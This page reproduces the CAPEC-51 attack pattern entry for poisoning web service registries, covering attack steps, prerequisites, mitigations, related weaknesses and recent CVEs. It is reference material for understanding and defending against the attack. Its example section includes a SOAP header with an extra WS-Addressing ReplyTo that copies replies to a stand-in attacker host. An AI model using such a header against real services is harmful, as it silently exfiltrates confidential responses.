cve.bz

CAPEC-51

Poison Web Service Registry

Very High severityHigh likelihoodDetailed pattern

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

On this page

WS-Addressing is used to virtualize services, provide return addresses and other routing information, however, unless the WS-Addressing headers are protected they are vulnerable to rewriting. Content in a registry is deployed by the service provider. The registry in an SOA or Web Services system can be accessed by the service requester via UDDI or other protocol.

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Show the promptExplain the attack pattern CAPEC-51: Poison Web Service Registry: how it unfolds, what it needs and how to prevent and detect it in my systems. Use https://capec.mitre.org/data/definitions/51.html and https://cve.bz/cve/capec/51?via=ask-ai-copy, which lists recent CVEs with the weaknesses it exploits. Cite the sources.

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How the attack unfolds

  1. Explore

    The attacker looks for a way in.

    1. [Find a target SOA or Web Service] The adversary must first indentify a target SOA or Web Service.

  2. Experiment

    They probe what they found.

    1. [Determine desired outcome] Because poisoning a web service registry can have different outcomes, the adversary must decide how they wish to effect the webservice.

      2 techniques
      • An adversary can perform a denial of service attack on a web service.
      • An adversary can redirect requests or responses to a malicious service.

    2. [Determine if a malicious service needs to be created] If the adversary wishes to redirect requests or responses, they will need to create a malicious service to redirect to.

      3 techniques
      • Create a service to that requests are sent to in addition to the legitimate service and simply record the requests.
      • Create a service that will give malicious responses to a service provider.
      • Act as a malicious service provider and respond to requests in an arbitrary way.

  3. Exploit

    They carry out the attack.

    1. [Poison Web Service Registry] Based on the desired outcome, poison the web service registry. This is done by altering the data at rest in the registry or uploading malicious content by spoofing a service provider.

      3 techniques
      • Intercept and change WS-Adressing headers to route to a malicious service or service provider.
      • Provide incorrect information in schema or metadata to cause a denial of service.
      • Delete information about service procider interfaces to cause a denial of service.

Prerequisites

  • The attacker must be able to write to resources or redirect access to the service registry.

Skills required

  • Low skill

    To identify and execute against an over-privileged system interface

Resources required

  • Capability to directly or indirectly modify registry resources

Consequences

What a successful attack can lead to
ImpactAffectsNote
Execute Unauthorized CommandsConfidentiality, Integrity, AvailabilityRun Arbitrary Code
Read DataConfidentiality
Modify DataIntegrity

Mitigations

  • Design: Enforce principle of least privilege

  • Design: Harden registry server and file access permissions

  • Implementation: Implement communications to and from the registry using secure protocols

Weaknesses it exploits

  • CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component
  • CWE-285 Improper Authorization
  • CWE-693 Protection Mechanism Failure

Recent CVEs with these weaknesses

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  6. 5.5CVE-2026-124590

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  7. 5.3CVE-2026-113702

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  8. –CVE-2026-40913

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Part of

Examples

WS-Addressing provides location and metadata about the service endpoints. An extremely hard to detect attack …

WS-Addressing provides location and metadata about the service endpoints. An extremely hard to detect attack is an attacker who updates the WS-Addressing header, leaves the standard service request and service provider addressing and header information intact, but adds an additional WS-Addressing Replyto header. In this case the attacker is able to send a copy (like a cc in mail) of every result the service provider generates. So every query to the bank account service, would generate a reply message of the transaction status to both the authorized service requester and an attacker service. This would be extremely hard to detect at runtime.

<S:Header>
  <wsa:MessageID>
    http://example.com/Message

  </wsa:MessageID>
  <wsa:ReplyTo>
    <wsa:Address>http://valid.example/validClient</wsa:Address>

  </wsa:ReplyTo>
  <wsa:ReplyTo>
    <wsa:Address>http://evilsite/evilClient</wsa:Address>

  </wsa:ReplyTo>
  <wsa:FaultTo>
    <wsa:Address>http://validfaults.example/ErrorHandler</wsa:Address>

  </wsa:FaultTo>

</S:Header>

In this example "evilsite" is an additional reply to address with full access to all the messages that the authorized (validClient) has access to. Since this is registered with ReplyTo header it will not generate a Soap fault.

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